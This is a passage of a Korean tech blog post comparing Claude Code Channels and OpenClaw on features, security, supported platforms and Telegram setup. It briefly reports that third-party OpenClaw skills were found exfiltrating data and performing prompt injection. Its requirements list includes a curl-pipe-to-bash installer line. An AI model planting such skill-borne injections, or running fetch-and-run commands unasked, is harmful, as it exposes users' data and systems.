&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;봇이 보낸 메시지 수정 (&quot;작업 중...&quot; &amp;rarr; 결과)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;fetch_messages&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;최근 메시지 히스토리 조회 (최대 100건)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;download_attachment&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;v&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;첨부 파일 다운로드 &amp;rarr; &lt;code&gt;~/.claude/channels/discord/inbox/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;차이점 : Telegram Bot API는 메시지 히스토리와 검색을 제공하지 않는다. 디스코드는 &lt;code&gt;fetch_messages&lt;/code&gt;로 과거 메시지를 조회할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://github.com/anthropics/claude-plugins-official&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude-plugins-official GitHub README&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;한 줄 요약&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels는 &lt;b&gt;&quot;내 PC에서 실행 중인 Claude Code를 원격 제어&quot;&lt;/b&gt;하는 것이고, OpenClaw는 &lt;b&gt;&quot;클라우드 서버의 AI 에이전트를 메시징으로 제어&quot;&lt;/b&gt;하는 것이다. 근본적으로 다른 접근이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 보안 비교 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 보안 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;보안은 이 두 가지를 비교할 때 가장 큰 차이가 나는 영역이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Channels: Pairing Code + Allowlist + Localhost&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels는 보안을 여러 단계로 나눠 적용한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Pairing Code 인증:&lt;/b&gt; 텔레그램/디스코드에서 봇에게 메시지를 보내면 페어링 코드가 발급된다. 이 코드를 Claude Code에 입력해야 연결이 완료된다. 봇은 페어링된 유저 ID의 메시지만 처리하고, 같은 디스코드 서버의 다른 사용자 메시지는 무시한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Allowlist 기반 플러그인:&lt;/b&gt; 리서치 프리뷰 기간에는 Anthropic이 승인한 플러그인만 사용 가능하다. 커스텀 채널은 &lt;code&gt;--dangerously-load-development-channels&lt;/code&gt; 플래그가 필요하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Localhost 전용:&lt;/b&gt; 인바운드 포트가 없다. 모든 통신은 로컬 플러그인에서 외부 API로의 아웃바운드 연결이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Sender Allowlist 기반 발신자 검증:&lt;/b&gt; 비인가 사용자의 메시지 전송을 차단하는 발신자 허용 목록(allowlist) 메커니즘이 내장되어 있다. (단, 인가된 사용자의 메시지 내 프롬프트 인젝션까지 방지하지는 않는다.)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Permission Relay:&lt;/b&gt; 도구 사용 승인을 원격 채널로 전달하여, 텔레그램에서 파일 쓰기/명령 실행을 승인/거부할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code Docs&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenClaw: 자유도 높지만 보안은 직접 관리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenClaw는 커뮤니티 오픈소스답게 자유도가 높지만, 보안 사고도 발생했다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Cisco AI 보안팀 발견&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Cisco의 AI 보안 연구팀이 서드파티 OpenClaw 스킬을 테스트한 결과, &lt;b&gt;사용자 모르게 데이터 유출(data exfiltration)과 프롬프트 인젝션&lt;/b&gt;이 수행되는 것을 발견했다. &lt;br /&gt;이는 서드파티 스킬 생태계의 검증 체계가 상대적으로 느슨한 점이 한 원인으로 보인다. Cisco 보고서 자체는 OpenClaw 스킬의 취약점에 초점을 맞추고 있으며, 다른 플랫폼과의 직접 비교는 포함하지 않았다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 문제에 대응하여 &lt;b&gt;secure-openclaw&lt;/b&gt; (ComposioHQ) 같은 보안 강화 포크가 등장했다. 하지만 근본적으로 &quot;취미 프로젝트에서 동작하는 것&quot;과 &quot;엔터프라이즈 보안 리뷰를 통과하는 것&quot;의 차이는 아키텍처 설계 레벨에서 발생한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보안 비교표&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 25%;&quot;&gt;보안 항목&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 37.5%;&quot;&gt;Channels&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 37.5%;&quot;&gt;OpenClaw&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;인증&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Pairing Code + 유저 ID 잠금&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;User ID 기반 인증 지원. 추가로 API 키, OAuth 등 다양한 방식 설정 가능 (직접 관리)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;플러그인/스킬 검증&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 공식 Allowlist (리서치 프리뷰 기간)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;커뮤니티 기반. Cisco Skill Scanner 등 서드파티 검증 도구가 등장했으나, 공식 검증 체계는 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;네트워크 노출&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;인바운드 포트 없음 (localhost만)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버 포트 노출 가능. 리버스 프록시 + 방화벽으로 완화 가능하나 설정은 사용자 몫&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프롬프트 인젝션 대응&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Sender allowlist 기반 발신자 검증 내장&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;기본 내장 기능은 없으나, Cisco Skill Scanner 등 외부 도구로 스킬 사전 검사 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;보안 업데이트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 공식 업데이트&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;커뮤니티 주도 (CVE 패치는 비교적 빠르게 대응 &amp;mdash; CVE-2026-25253은 며칠 내 패치됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;권한 제어&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Permission Relay (원격 승인/거부)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;역할 기반 권한 설정 가능. 세밀도는 설정에 따라 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;엔터프라이즈&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Team/Enterprise 관리자 제어 가능&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;공식 엔터프라이즈 지원 없음. NVIDIA NemoClaw 등 서드파티 엔터프라이즈 래퍼 존재&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: 지원 플랫폼 비교 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 지원 플랫폼 비교(현 시점 3월 24일 기준)&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 40%;&quot;&gt;플랫폼&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600; width: 30%;&quot;&gt;Channels&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600; width: 30%;&quot;&gt;OpenClaw&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Telegram&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Discord&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;WhatsApp&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Slack&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&amp;nbsp;(별도 Slack 연동 존재)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Signal&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;iMessage&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Microsoft Teams&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Google Chat&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Matrix&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Fakechat (로컬 테스트)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;커스텀 채널/Webhook&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O (MCP 서버로 직접 구축)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O (스킬/플러그인)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;플랫폼 수만 보면 OpenClaw가 압도적&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 Channels는 &lt;b&gt;플러그인 아키텍처&lt;/b&gt;로 설계되어 있어 구조적으로 확장 가능하다. &lt;br /&gt;단, 리서치 프리뷰 기간에는 &lt;code&gt;--channels&lt;/code&gt; 플래그가 &lt;b&gt;Anthropic이 관리하는 허용 목록의 공식 플러그인(Telegram, Discord, Fakechat)만 수락&lt;/b&gt;한다. 직접 만든 커스텀 채널은 &lt;code&gt;--dangerously-load-development-channels&lt;/code&gt; 플래그로만 테스트 가능하다. 참고로 &lt;b&gt;카카오톡은 두 도구 모두 공식적으로 미지원&lt;/b&gt;이다. (computer use 등을 활용해서 보낼순 있겠지만 .. )&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: Channels 셋업 가이드 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Channels 셋업 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;요구사항&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;필수 조건&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Claude Code v2.1.80&lt;/b&gt; 이상&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;claude.ai 로그인&lt;/b&gt; 필수 (API 키 인증은 지원하지 않음)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Bun 런타임&lt;/b&gt; 설치 (프리빌트 플러그인이 Bun 기반, 커스텀 채널은 Node/Deno도 가능) &amp;mdash; 미설치 시: &lt;code&gt;curl -fsSL https://bun.sh/install | bash&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Pro 또는 Max 구독&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Team/Enterprise는 관리자가 &lt;code&gt;channelsEnabled&lt;/code&gt;를 명시적으로 활성화해야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code Docs&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Telegram 설정&lt;/h3&gt;
&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Telegram 앱 열기 (모바일/데스크톱 모두 가능)&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 30px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;darr;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;상단 검색창에&lt;span&gt;&amp;nbsp;&lt;/span&gt;@BotFather&lt;span&gt;&amp;nbsp;&lt;/span&gt;검색 &amp;rarr; 클릭해서 채팅 시작&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;327&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btPvXW/dJMcacaTaU0/uJIyDCzKmGDkOKIapxnYHK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btPvXW/dJMcacaTaU0/uJIyDCzKmGDkOKIapxnYHK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btPvXW/dJMcacaTaU0/uJIyDCzKmGDkOKIapxnYHK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtPvXW%2FdJMcacaTaU0%2FuJIyDCzKmGDkOKIapxnYHK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;445&quot; height=&quot;327&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;327&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;position: absolute;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dc16Sl/dJMb996hRCg/h7pHOvwDgopaix1c6yVPR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dc16Sl/dJMb996hRCg/h7pHOvwDgopaix1c6yVPR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dc16Sl/dJMb996hRCg/h7pHOvwDgopaix1c6yVPR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdc16Sl%2FdJMb996hRCg%2Fh7pHOvwDgopaix1c6yVPR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;289&quot; height=&quot;210&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 30px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;darr;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;채팅창에&lt;span&gt;&amp;nbsp;&lt;/span&gt;/newbot&lt;span&gt;&amp;nbsp;&lt;/span&gt;입력 후 전송&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPYJz0/dJMcacopRUe/x55Fjtk28WP3eP84kKAAjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPYJz0/dJMcacopRUe/x55Fjtk28WP3eP84kKAAjK/img.png&quot; id=&quot;kEditorPhotosEditingImage-3&quot; style=&quot;width: 50.7913%; margin-right: 10px;&quot; width=&quot;520&quot; height=&quot;1094&quot; data-widthpercent=&quot;51.39&quot; data-filename=&quot;blob&quot; data-origin-height=&quot;700&quot; data-origin-width=&quot;300&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPYJz0/dJMcacopRUe/x55Fjtk28WP3eP84kKAAjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPYJz0%2FdJMcacopRUe%2Fx55Fjtk28WP3eP84kKAAjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;700&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEtGEV/dJMcafSYf6d/rfmZ3z9K0XeaxTivAfKX3K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEtGEV/dJMcafSYf6d/rfmZ3z9K0XeaxTivAfKX3K/img.jpg&quot; id=&quot;kEditorPhotosEditingImage-4&quot; style=&quot;width: 48.0459%;&quot; data-widthpercent=&quot;48.61&quot; data-filename=&quot;KakaoTalk_Photo_2026-01-29-00-32-56 002.jpeg&quot; data-origin-height=&quot;2664&quot; data-origin-width=&quot;1080&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEtGEV/dJMcafSYf6d/rfmZ3z9K0XeaxTivAfKX3K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEtGEV%2FdJMcafSYf6d%2FrfmZ3z9K0XeaxTivAfKX3K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;2664&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 30px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;darr;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;BotFather가 질문하면 답변 입력&lt;/p&gt;
